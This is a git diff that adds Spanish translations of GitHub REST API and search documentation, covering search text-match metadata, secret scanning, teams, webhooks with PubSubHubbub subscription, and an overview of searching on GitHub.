+Por ejemplo, si tu consulta de búsqueda quiere buscar en los repositorios `octocat/test` y `codertocat/test`, pero solo tienes acceso a `octocat/test`, tu respuesta mostrará los resultados de búsqueda para `octocat/test` y no mostrará nada para `codertocat/test`. Este comportamiento simula cómo funciona la búsqueda en {% data variables.product.prodname_dotcom %}.
 
 {% include rest_operations_at_current_path %}
 
 
-### Text match metadata
+### Metadatos en el texto coincidente
 
-On GitHub, you can use the context provided by code snippets and highlights in search results. The Search API offers additional metadata that allows you to highlight the matching search terms when displaying search results.
+En GitHub, puedes utilizar el contexto que te proporcionan los extractos de código y los puntos destacados en los resultados de búsqueda. La API de Búsqueda ofrece metadatos adicionales que te permiten resaltar los términos de búsqueda coincidentes cuando se muestran los resultados de la búsqueda.
 
-![code-snippet-highlighting](/assets/images/text-match-search-api.png)
+![resaltado del fragmento de código](/assets/images/text-match-search-api.png)
 
-Requests can opt to receive those text fragments in the response, and every fragment is accompanied by numeric offsets identifying the exact location of each matching search term.
+Las solicitudes pueden decidir recibir esos fragmentos de texto en la respuesta, y cada fragmento se acompaña de intervalos numéricos que identifican la ubicación exacta de cada término de búsqueda coincidente.
 
-To get this metadata in your search results, specify the `text-match` media type in your `Accept` header.
+Para obtener estos metadatos en tus resultados de búsqueda, especifica el tipo de medios `text-match` en tu encabezado de `Accept`.
 
 ```shell
 application/vnd.github.v3.text-match+json
 ```
 
-When you provide the `text-match` media type, you will receive an extra key in the JSON payload called `text_matches` that provides information about the position of your search terms within the text and the `property` that includes the search term. Inside the `text_matches` array, each object includes
-the following attributes:
+Cuando proporcionas el tipo de medios `text-match`, recibirás una clave extra en la carga útil de JSON llamada `text_matches`, la cual proporciona información acerca de la posición de tus términos de búsqueda dentro del texto y la `property` que incluye dicho término de búsqueda. Dentro de la matriz `text_matches`, cada objeto incluye los siguientes atributos:
 
-Name | Description
------|-----------|
-`object_url` | The URL for the resource that contains a string property matching one of the search terms.
-`object_type` | The name for the type of resource that exists at the given `object_url`.
-`property` | The name of a property of the resource that exists at `object_url`. That property is a string that matches one of the search terms. (In the JSON returned from `object_url`, the full content for the `fragment` will be found in the property with this name.)
-`fragment` | A subset of the value of `property`. This is the text fragment that matches one or more of the search terms.
-`matches` | An array of one or more search terms that are present in `fragment`. The indices (i.e., "offsets") are relative to the fragment. (They are not relative to the _full_ content of `property`.)
+| Nombre        | Descripción                                                                                                                                                                                                                                                                                   |
+| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `object_url`  | La URL del recurso que contiene una propiedad de secuencia que empata con uno de los términos de búsqueda.                                                                                                                                                                                    |
+| `object_type` | El nombre del tipo de recurso que existe en la `object_url` específica.                                                                                                                                                                                                                       |
+| `property`    | El nombre de la propiedad del recurso que existe en la `object_url`. Esa propiedad es una secuencia que empata con uno de los términos de la búsqueda. (En el JSON que se devuelve de la `object_url`, el contenido entero para el `fragment` se encontrará en la propiedad con este nombre.) |
+| `fragmento`   | Un subconjunto del valor de `property`. Este es el fragmento de texto que empata con uno o más de los términos de búsqueda.                                                                                                                                                                   |
+| `matches`     | Una matriz de uno o más términos de búsqueda presentes en el `fragment`. Los índices (es decir, "intervalos") son relativos al fragmento. (No son relativos al contenido _completo_ de `property`.)                                                                                           |
 
-#### Example
+#### Ejemplo
 
-Using cURL, and the [example issue search](#search-issues-and-pull-requests) above, our API
-request would look like this:
+Si utilizas cURL y también el [ejemplo de búsqueda de informe de problemas](#search-issues-and-pull-requests) anterior, nuestra solicitud de la API se vería así:
 
 ``` shell
 curl -H 'Accept: application/vnd.github.v3.text-match+json' \
 '{% data variables.product.api_url_pre %}/search/issues?q=windows+label:bug+language:python+state:open&sort=created&order=asc'
 ```
 
-The response will include a `text_matches` array for each search result. In the JSON below, we have two objects in the `text_matches` array.
+La respuesta incluirá una matriz de `text_matches` para cada resultado de búsqueda. En el JSON que se muestra a continuación, tenemos dos objetos en la matriz `text_matches`.
 
-The first text match occurred in the `body` property of the issue. We see a fragment of text from the issue body. The search term (`windows`) appears twice within that fragment, and we have the indices for each occurrence.
+La primera coincidencia de texto ocurrió en la propiedad de `body` del informe de problemas. Aquí vemos un fragmento de texto del cuerpo del informe de problemas. El término de búsqueda (`windows`) aparece dos veces dentro de ese fragmento, y tenemos los índices para cada ocurrencia.
 
-The second text match occurred in the `body` property of one of the issue's comments. We have the URL for the issue comment. And of course, we see a fragment of text from the comment body. The search term (`windows`) appears once within that fragment.
+La segunda coincidencia de texto ocurrió en la propiedad `body` de uno de los comentarios del informe de problemas. Tenemos la URL para el comentario del informe de problemas. Y, por supuesto, vemos un fragmento de texto del cuerpo del comentario. El término de búsqueda (`windows`) se muestra una vez dentro de ese fragmento.
 
 ```json
 {
diff --git a/translations/es-ES/content/rest/reference/secret-scanning.md b/translations/es-ES/content/rest/reference/secret-scanning.md
index 2cb0e7cdf5..d9f59f618e 100644
--- a/translations/es-ES/content/rest/reference/secret-scanning.md
+++ b/translations/es-ES/content/rest/reference/secret-scanning.md
@@ -1,6 +1,6 @@
 ---
-title: Secret scanning
-intro: 'To retrieve and update the secret alerts from a private repository, you can use Secret Scanning API.'
+title: Escaneo de secretos
+intro: 'Para recuperar y actualizar las alertas de secretos desde un repositorio privado, puedes utilizar la API de Escaneo de Secretos.'
 versions:
   fpt: '*'
   ghes: '>=3.1'
@@ -11,12 +11,12 @@ miniTocMaxHeadingLevel: 3
 
 {% data reusables.secret-scanning.api-beta %}
 
-The {% data variables.product.prodname_secret_scanning %} API lets you{% ifversion fpt or ghec or ghes > 3.1 or ghae %}:
+La API del {% data variables.product.prodname_secret_scanning %} te permite {% ifversion fpt or ghec or ghes > 3.1 or ghae %}:
 
-- Enable or disable {% data variables.product.prodname_secret_scanning %} for a repository. For more information, see "[Repositories](/rest/reference/repos#update-a-repository)" in the REST API documentation.
-- Retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository. For futher details, see the sections below.
-{%- else %} retrieve and update {% data variables.product.prodname_secret_scanning %} alerts from a {% ifversion fpt or ghec %}private {% endif %}repository.{% endif %}
+- Habilitar o inhabilitar el {% data variables.product.prodname_secret_scanning %} para un repositorio. Para obtener más información, consulta la sección "[Repositorios](/rest/reference/repos#update-a-repository)" en la documentación de REST.
+- Recupera y actualiza las alertas del {% data variables.product.prodname_secret_scanning %} desde un repositorio {% ifversion fpt or ghec %}privado{% endif %}. Para obtener más detalles, consulta las secciones a continuación.
+{%- else %} recupera y actualiza las alertas del {% data variables.product.prodname_secret_scanning %} desde un repositorio {% ifversion fpt or ghec %}privado{% endif %}.{% endif %}
 
-For more information about {% data variables.product.prodname_secret_scanning %}, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)."
+Para obtener más información acerca de las {% data variables.product.prodname_secret_scanning %}, consulta la sección "[Acerca del {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)".
 
 {% include rest_operations_at_current_path %}
diff --git a/translations/es-ES/content/rest/reference/teams.md b/translations/es-ES/content/rest/reference/teams.md
index 2e05e37ba8..d21fba1287 100644
--- a/translations/es-ES/content/rest/reference/teams.md
+++ b/translations/es-ES/content/rest/reference/teams.md
@@ -1,6 +1,6 @@
 ---
-title: Teams
-intro: 'With the Teams API, you can create and manage teams in your {% data variables.product.product_name %} organization.'
+title: Equipos
+intro: 'Con la API de Equipos puedes crear y administrar los equipos en tu organización de {% data variables.product.product_name %}.'
 redirect_from:
   - /v3/teams
 versions:
@@ -13,36 +13,36 @@ topics:
 miniTocMaxHeadingLevel: 3
 ---
 
-This API is only available to authenticated members of the team's [organization](/rest/reference/orgs). OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/). {% data variables.product.prodname_dotcom %}  generates the team's `slug` from the team `name`.
+Esta API solo está disponible para los miembros autenticados de la [organization](/rest/reference/orgs) del equipo. Los tokens de acceso de OAuth requieren el [alcance](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/) `read:org`. {% data variables.product.prodname_dotcom %} genera el `slug` del equipo a partir del `name` del mismo.
 
 {% for operation in currentRestOperations %}
   {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
 {% endfor %}
 
-## Discussions
+## Debates
 
-The team discussions API allows you to get, create, edit, and delete discussion posts on a team's page. You can use team discussions to have conversations that are not specific to a repository or project. Any member of the team's [organization](/rest/reference/orgs) can create and read public discussion posts. For more details, see "[About team discussions](//organizations/collaborating-with-your-team/about-team-discussions/)." To learn more about commenting on a discussion post, see the [team discussion comments API](/rest/reference/teams#discussion-comments). This API is only available to authenticated members of the team's organization.
+La API de debates de equipo te permite obtener, crear, editar y borrar las publicaciones de un debate en la página de un equipo. Puedes utilizar los debates de equipo para sostener conversaciones que no son específicas de un repositorio o proyecto. Cualquier miembro de la [organización](/rest/reference/orgs) del equipo puede crear y leer las publicaciones de debates públicos. Para obtener más detalles, consulta la sección "[Acerca de los debates de equipo](//organizations/collaborating-with-your-team/about-team-discussions/)". Para aprender más sobre cómo comentar en una publicación de debate, consulta la [API de comentarios para debates de equipo](/rest/reference/teams#discussion-comments). Esta API solo está disponible para los miembros autenticados de la organization del equipo.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'discussions' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Discussion comments
+## Comentarios de debate
 
-The team discussion comments API allows you to get, create, edit, and delete discussion comments on a [team discussion](/rest/reference/teams#discussions) post. Any member of the team's [organization](/rest/reference/orgs) can create and read comments on a public discussion. For more details, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions/)." This API is only available to authenticated members of the team's organization.
+La API de comentarios para debates de equipo te permite obtener, crear, editar y borrar los comentarios del debate en una publicación de un [debate de equipo](/rest/reference/teams#discussions). Cualquier miembro de la [organización](/rest/reference/orgs) del equipo puede crear y leer los comentarios de un debate público. Para obtener más detalles, consulta la sección "[Acerca de los debates de equipo](/organizations/collaborating-with-your-team/about-team-discussions/)". Esta API solo está disponible para los miembros autenticados de la organization del equipo.
 
 {% for operation in currentRestOperations %}
   {% if operation.subcategory == 'discussion-comments' %}{% include rest_operation %}{% endif %}
 {% endfor %}
 
-## Members
+## Miembros
 
-This API is only available to authenticated members of the team's organization. OAuth access tokens require the `read:org` [scope](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/).
+Esta API solo está disponible para los miembros autenticados de la organization del equipo. Los tokens de acceso de OAuth requieren el [alcance](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/) `read:org`.
 
 {% ifversion fpt or ghes or ghec %}
 {% note %}
 
-**Note:** When you have team synchronization set up for a team with your organization's identity provider (IdP), you will see an error if you attempt to use the API for making changes to the team's membership. If you have access to manage group membership in your IdP, you can manage GitHub team membership through your identity provider, which automatically adds and removes team members in an organization. For more information, see "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Synchronizing teams between your identity provider and GitHub</a>."
+**Nota:** Cuando configuras la sincornizacion de equipos para un equipo con el proveedor de identidad (IdP) de tu organización, verás un error si intentas utilizar la API para hacer cambios en la membrecía de dicho equipo. Si tienes acceso para administrar las membrecías de usuario en tu IdP, puedes administrar la membrecía del equipo de GitHub a través de tu proveedor de identidad, lo cual agrega y elimina automáticamente a los miembros en una organización. Para obtener más información, consulta la sección "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Sincronizar equipos entre tu proveedor de identidad y GitHub</a>".
 
 {% endnote %}
 
@@ -53,19 +53,19 @@ This API is only available to authenticated members of the team's organization.
 {% endfor %}
 
 {% ifversion ghec or ghae %}
-## External groups
+## Grupos externos
 
-The external groups API allows you to view the external identity provider groups that are available to your organization and manage the connection between external groups and teams in your organization.
+La API de grupos externos te permite ver los grupos de proveedor de identidad externos que están disponibles para tu organización, así como administrar la conexión entre los grupos externos y los equipos de tu organziación.
 
-To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team.
+Para utilizar esta API, el usuario autenticado debe ser un mantenedor del equipo o un propietario de la organización asociada con éste.
 
 {% ifversion ghec %}
 {% note %}
 
-**Notes:** 
+**Notas:**
 
-- The external groups API is only available for organizations that are part of a enterprise using {% data variables.product.prodname_emus %}. For more information, see "[About Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
-- If your organization uses team synchronization, you can use the Team Synchronization API. For more information, see "[Team synchronization API](#team-synchronization)."
+- La API de grupos externos solo se encuentra disponible para aquellas organizaciones que sean parte de una empresa que utilice {% data variables.product.prodname_emus %}. Para obtener más información, consulta la sección "[Acerca de los Usuarios Empresariales Administrados](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)".
+- Si tu organización utiliza la sincronización de equipos, puedes usar la API de Sincronización de Equipos. Para obtener más información, consulta la "[API de sincronización de equipos](#team-synchronization)".
 
 {% endnote %}
 {% endif %}
@@ -77,15 +77,15 @@ To use this API, the authenticated user must be a team maintainer or an owner of
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-## Team synchronization
+## Sincronización de equipos
 
-The Team Synchronization API allows you to manage connections between {% data variables.product.product_name %} teams and external identity provider (IdP) groups. To use this API, the authenticated user must be a team maintainer or an owner of the organization associated with the team. The token you use to authenticate will also need to be authorized for use with your IdP (SSO) provider. For more information, see "<a href="/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on" class="dotcom-only">Authorizing a personal access token for use with a SAML single sign-on organization</a>."
+La API de sincronización de equipos te permite administrar las conexiones entre los equipos de {% data variables.product.product_name %} y los grupos del proveedor de identidad (IdP) externo. Para utilizar esta API, el usuario autenticado debe ser un mantenedor del equipo o un propietario de la organización asociada con éste. El token que utilizas para autenticarte también necesitará autorizarse para su uso con tu proveedor IdP (SSO). Para obtener más información, consulta la sección "<a href="/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on" class="dotcom-only">Autorizar un token de acceso personal para su uso con una organización que tiene inicio de sesión único de SAML</a>".
 
-You can manage GitHub team members through your IdP with team synchronization. Team synchronization must be enabled to use the Team Synchronization API. For more information, see "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Synchronizing teams between your identity provider and GitHub</a>."
+Puedes administrar a los miembros del equipo de GitHub a través de tu IdP con la sincronización de equipos. Ésta se debe habilitar para usar la API de Sincronización de Equipos. Para obtener más información, consulta la sección "<a href="/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization" class="dotcom-only">Sincronizar equipos entre tu proveedor de identidad y GitHub</a>".
 
 {% note %}
 
-**Note:** The Team Synchronization API cannot be used with {% data variables.product.prodname_emus %}. To learn more about managing an {% data variables.product.prodname_emu_org %}, see "[External groups API](/enterprise-cloud@latest/rest/reference/teams#external-groups)".
+**Nota:** La API de sincronización de equipos no puede utilizarse con {% data variables.product.prodname_emus %}. Para aprender más sobre cómo administrar una {% data variables.product.prodname_emu_org %}, consulta la sección "[API de grupos externos](/enterprise-cloud@latest/rest/reference/teams#external-groups)".
 
 {% endnote %}
 
diff --git a/translations/es-ES/content/rest/reference/webhooks.md b/translations/es-ES/content/rest/reference/webhooks.md
new file mode 100644
index 0000000000..62ab78c2c9
--- /dev/null
+++ b/translations/es-ES/content/rest/reference/webhooks.md
@@ -0,0 +1,94 @@
+---
+title: Webhooks
+intro: The webhooks API allows you to create and manage webhooks for your repositories.
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+Los webhooks de repositorio te permiten recibir cargas útiles de `POST` por HTTP cuando ciertos eventos suceden en un repositorio. {% data reusables.webhooks.webhooks-rest-api-links %}
+
+Si te gustaría configurar un solo webhook para recibir eventos de todos los repositorios de tu organización, consulta nuestra documentación de la API para los [Webhooks de una Organización](/rest/reference/orgs#webhooks).
+
+Adicionalmente a la API de REST, {% data variables.product.prodname_dotcom %} también puede servir como un punto de [PubSubHubbub](#pubsubhubbub) para los repositorios.
+
+{% for operation in currentRestOperations %}
+  {% unless operation.subcategory %}{% include rest_operation %}{% endunless %}
+{% endfor %}
+
+## Webhooks de repositorio
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repos' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Repository webhook configuration
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-config' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Repository webhook deliveries
+
+{% for operation in currentRestOperations %}
+  {% if operation.subcategory == 'repo-deliveries' %}{% include rest_operation %}{% endif %}
+{% endfor %}
+
+## Recibir Webhooks
+
+Para que {% data variables.product.product_name %} envíe cargas útiles de webhooks, se necesita que se pueda acceder a tu servidor desde la internet. También sugerimos ampliamente utilizar SSL para que podamos enviar cargas útiles cifradas a través de HTTPS.
+
+### Encabezados de Webhook
+
+{% data variables.product.product_name %} enviará varios encabezados de HTTP para diferenciar los tipos de eventos y los identificadores de las cargas útiles. Consulta la sección de [encabezados de webhook](/developers/webhooks-and-events/webhook-events-and-payloads#delivery-headers) para encontrar más detalles.
+
+## PubSubHubbub
+
+GitHub también puede fungir como un centro de [PubSubHubbub](https://github.com/pubsubhubbub/PubSubHubbub) para todos los repositorios. PSHB es un proptocolo simple de publicación/suscripción que permite a los servidores registrarse para recibir actualizaciones de cuándo se actualiza un tema. Las actualizaciones se mandan con una solicitud HTTP de tipo POST a una URL de rellamado. Las URL de tema para las cargas a un repositorio de GitHub están en este formato:
+
+`https://github.com/{owner}/{repo}/events/{event}`
+
+El veneto puede ser cualquier evento de webhook disponible. Para obtener más información, consulta la sección "[eventos y cargas útiles de los webhooks](/developers/webhooks-and-events/webhook-events-and-payloads)".
+
+### Formato de respuesta
+
+El formato predeterminado es lo que [deberían esperar los ganchos de post-recepción](/post-receive-hooks/): Un cuerpo de JSON que se envía como un parámetro de `payload` en un POST.  También puedes especificar si quieres recibir el cuerpo en JSON sin procesar, ya sea un encabezado de `Accept` o una extensión `.json`.
+
+    Accept: application/json
+    https://github.com/{owner}/{repo}/events/push.json
+
+### URL de Rellamado
+
+Las URL de rellamado puede utilizar el protocolo `http://`.
+
+    # Send updates to postbin.org
+    http://postbin.org/123
+
+### Suscribirse
+
+La terminal de PubSubHubbub de GitHub es: `{% data variables.product.api_url_code %}/hub`. Una solicitud exitosa con curl se vería así:
+
+``` shell
+curl -u "user" -i \
+  {% data variables.product.api_url_pre %}/hub \
+  -F "hub.mode=subscribe" \
+  -F "hub.topic=https://github.com/{owner}/{repo}/events/push" \
+  -F "hub.callback=http://postbin.org/123"
+```
+
+Las solicitudes de PubSubHubbub pueden enviarse varias veces. Si el gancho ya existe, se modificará de acuerdo con la solicitud.
+
+#### Parámetros
+
+| Nombre         | Tipo        | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
+| -------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `hub.mode`     | `secuencia` | **Requerido**. Ya sea `subscribe` o `unsubscribe`.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| `hub.topic`    | `secuencia` | **Requerido**.  La URI del repositorio de GitHub al cual suscribirse.  La ruta debe estar en el formato `/{owner}/{repo}/events/{event}`.                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| `hub.callback` | `secuencia` | La URI para recibir las actualizaciones del tema.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| `hub.secret`   | `secuencia` | Una llave de secreto compartido que genera una firma de hash del contenido saliente del cuerpo.  Puedes verificar si una subida vino de GitHub comparando el cuerpo de la solicitud sin procesar con el contenido de los encabezados de la {% ifversion fpt or ghes > 2.22 or ghec %}`X-Hub-Signature` o `X-Hub-Signature-256`{% elsif ghes < 3.0 %}`X-Hub-Signature`{% elsif ghae %}`X-Hub-Signature-256`{% endif %}. Puedes ver [la documentación de PubSubHubbub](https://pubsubhubbub.github.io/PubSubHubbub/pubsubhubbub-core-0.4.html#authednotify) para obtener más detalles. |
diff --git a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
index f6f7e88e11..f58199336a 100644
--- a/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
+++ b/translations/es-ES/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md
@@ -1,12 +1,12 @@
 ---
-title: About searching on GitHub
-intro: 'Our integrated search covers the many repositories, users, and lines of code on {% data variables.product.product_name %}.'
+title: Acerca de la búsqueda en GitHub
+intro: 'Nuestra búsqueda integrada cubre los diversos repositorios, usuarios y líneas de código en {% data variables.product.product_name %}.'
 redirect_from:
-  - /articles/using-the-command-bar/
-  - /articles/github-search-basics/
-  - /articles/search-basics/
-  - /articles/searching-github/
-  - /articles/advanced-search/
+  - /articles/using-the-command-bar
+  - /articles/github-search-basics
+  - /articles/search-basics
+  - /articles/searching-github
+  - /articles/advanced-search
   - /articles/about-searching-on-github
   - /github/searching-for-information-on-github/about-searching-on-github
   - /github/searching-for-information-on-github/getting-started-with-searching-on-github/about-searching-on-github
@@ -18,73 +18,74 @@ versions:
 topics:
   - GitHub search
 ---
+
 {% data reusables.search.you-can-search-globally %}
 
-- To search globally across all of {% data variables.product.product_name %}, type what you're looking for into the search field at the top of any page, and choose "All {% data variables.product.prodname_dotcom %}" in the search drop-down menu.
-- To search within a particular repository or organization, navigate to the repository or organization page, type what you're looking for into the search field at the top of the page, and press **Enter**.
+- Para hacer una búsqueda global en todo {% data variables.product.product_name %}, escribe lo que estás buscando en el campo de búsqueda en la parte superior de cualquier página y elige "Todo {% data variables.product.prodname_dotcom %}" en el menú de búsqueda desplegable.
+- Para buscar dentro de un repositorio o una organización en particular, navega a la página del repositorio o de la organización, escribe lo que estás buscando en el campo de búsqueda en la parte superior de la página y presiona **Aceptar**.
 
 {% note %}
 
-**Notes:**
+**Notas:**
 
 {% ifversion fpt or ghes or ghec %}
 - {% data reusables.search.required_login %}{% endif %}
-- {% data variables.product.prodname_pages %} sites are not searchable on {% data variables.product.product_name %}. However you can search the source content if it exists in the default branch of a repository, using code search. For more information, see "[Searching code](/search-github/searching-on-github/searching-code)." For more information about {% data variables.product.prodname_pages %}, see "[What is GitHub Pages?](/articles/what-is-github-pages/)"
-- Currently our search doesn't support exact matching.
-- Whenever you are searching in code files, only the first two results in each file will be returned.
+- Los sitios {% data variables.product.prodname_pages %} no se pueden buscar en {% data variables.product.product_name %}. Sin embargo, puedes buscar el contenido fuente si existe en la rama por defecto de un repositorio, usando la búsqueda de código. Para obtener más información, consulta "[Código de búsqueda](/search-github/searching-on-github/searching-code)". Para obtener más información acerca de {% data variables.product.prodname_pages %}, consulta "[¿Qué son las Páginas de GitHub?](/articles/what-is-github-pages/)"
+- Actualmente, nuestra búsqueda no es compatible con las coincidencias exactas.
+- Cuando estés buscando dentro de archivos de código, únicamente se devolverán los primeros dos resultados de cada archivo.
 
 {% endnote %}
 
-After running a search on {% data variables.product.product_name %}, you can sort the results, or further refine them by clicking one of the languages in the sidebar. For more information, see "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results)."
+Después de ejecutar una búsqueda en {% data variables.product.product_name %}, puedes clasificar los resultados o refinarlos más haciendo clic en uno de los idiomas de la barra lateral. Para obtener más información, consulta "[Clasificar los resultados de búsqueda](/search-github/getting-started-with-searching-on-github/sorting-search-results)".
 
-{% data variables.product.product_name %} search uses an ElasticSearch cluster to index projects every time a change is pushed to {% data variables.product.product_name %}. Issues and pull requests are indexed when they are created or modified.
+La búsqueda de {% data variables.product.product_name %} usa una agrupación ElasticSearch para indexar los proyectos cada vez que se sube un cambio a {% data variables.product.product_name %}. Las propuestas y las solicitudes de extracción son indexadas cuando son creadas o modificadas.
 
-## Types of searches on {% data variables.product.prodname_dotcom %}
+## Tipos de búsquedas en {% data variables.product.prodname_dotcom %}
 
-You can search for the following information across all repositories you can access on {% data variables.product.product_location %}.
+Puedes buscar la siguiente información a través de todos los repositorios a los que puedes acceder en {% data variables.product.product_location %}.
 
-- [Repositories](/search-github/searching-on-github/searching-for-repositories)
-- [Topics](/search-github/searching-on-github/searching-topics)
-- [Issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
-- [Discussions](/search-github/searching-on-github/searching-discussions){% endif %}
-- [Code](/search-github/searching-on-github/searching-code)
-- [Commits](/search-github/searching-on-github/searching-commits)
-- [Users](/search-github/searching-on-github/searching-users)
+- [Repositorios](/search-github/searching-on-github/searching-for-repositories)
+- [Temas](/search-github/searching-on-github/searching-topics)
+- [propuestas y solicitudes de cambios](/search-github/searching-on-github/searching-issues-and-pull-requests){% ifversion fpt or ghec %}
+- [Debates](/search-github/searching-on-github/searching-discussions){% endif %}
+- [Código](/search-github/searching-on-github/searching-code)
+- [Confirmaciones](/search-github/searching-on-github/searching-commits)
+- [Usuarios](/search-github/searching-on-github/searching-users)
 - [Packages](/search-github/searching-on-github/searching-for-packages)
 - [Wikis](/search-github/searching-on-github/searching-wikis)
 
-## Searching using a visual interface
+## Buscar usando una interfaz visual
 
-You can search {% data variables.product.product_name %} using the {% data variables.search.search_page_url %} or {% data variables.search.advanced_url %}. {% if command-palette %}Alternatively, you can use the interactive search in the {% data variables.product.prodname_command_palette %} to search your current location in the UI, a specific user, repository or organization, and globally across all of {% data variables.product.product_name %}, without leaving the keyboard. For more information, see "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)."{% endif %}
+Puedes buscar en {% data variables.product.product_name %} utilizando la {% data variables.search.search_page_url %} o la {% data variables.search.advanced_url %}. {% if command-palette %}Como alternativa, puedes utilizar la búsqueda interactiva en la {% data variables.product.prodname_command_palette %} para buscar tu ubicación actual en la IU, un usuario, repositorio u organización específicos y globalmente en todo {% data variables.product.product_name %} al alcance de tu teclado. Para obtener más información, consulta la sección "[{% data variables.product.prodname_command_palette %}](/get-started/using-github/github-command-palette)".{% endif %}
 
-The {% data variables.search.advanced_url %} provides a visual interface for constructing search queries. You can filter your searches by a variety of factors, such as the number of stars or number of forks a repository has. As you fill in the advanced search fields, your query will automatically be constructed in the top search bar.
+{% data variables.search.advanced_url %} ofrece una interfaz visual para construir consultas de búsqueda. Puedes filtrar tus búsquedas por diferentes factores, como la cantidad de estrellas o la cantidad de bifurcaciones que tiene un repositorio. A medida que completas los campos de búsqueda de avanzada, tu consulta se construirá automáticamente en la barra de búsqueda superior.
 
-![Advanced Search](/assets/images/help/search/advanced_search_demo.gif)
+![Búsqueda avanzada](/assets/images/help/search/advanced_search_demo.gif)
 
 {% ifversion fpt or ghes or ghae or ghec %}
 
-## Searching repositories on {% data variables.product.prodname_dotcom_the_website %} from your private enterprise environment
+## Buscar repositorios en {% data variables.product.prodname_dotcom_the_website %} desde tu ambiente de empresa privada
 
-If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.product_name %}{% endif %} and you're a member of a {% data variables.product.prodname_dotcom_the_website %} organization using {% data variables.product.prodname_ghe_cloud %}, an enterprise owner for your {% data variables.product.prodname_enterprise %} environment can enable {% data variables.product.prodname_github_connect %} so that you can search across both environments at the same time{% ifversion ghes or ghae %} from {% data variables.product.product_name %}{% endif %}. For more information, see the following.
+Si tuilizas {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %} o {% data variables.product.prodname_ghe_managed %}{% else %}{% data variables.product.product_name %}{% endif %} y eres miembro de una organización de {% data variables.product.prodname_dotcom_the_website %} que utiliza {% data variables.product.prodname_ghe_cloud %}, un propietario de empresa de tu ambiente de {% data variables.product.prodname_enterprise %} puede habilitar {% data variables.product.prodname_github_connect %} para que puedas buscar en ambos ambientes al mismo tiempo{% ifversion ghes or ghae %} desde {% data variables.product.product_name %}{% endif %}. Para obtener más información, consulta lo siguiente.
 
 {% ifversion fpt or ghes or ghec %}
 
 - "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/{% ifversion ghes %}{{ currentVersion }}{% else %}enterprise-server@latest{% endif %}/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_server %} documentation{% endif %}
-- "[Enabling {% data variables.product.prodname_unified_search %} between your enterprise account and {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" in the {% data variables.product.prodname_ghe_managed %} documentation
+- "[Habilitar la {% data variables.product.prodname_unified_search %} entre tu cuenta empresarial y {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom)" en la documentación de {% data variables.product.prodname_ghe_managed %}
 
 {% ifversion ghes or ghae %}
 
-To scope your search by environment, you can use a filter option on the {% data variables.search.advanced_url %} or you can use the `environment:` search prefix. To only search for content on {% data variables.product.product_name %}, use the search syntax `environment:local`. To only search for content on {% data variables.product.prodname_dotcom_the_website %}, use `environment:github`.
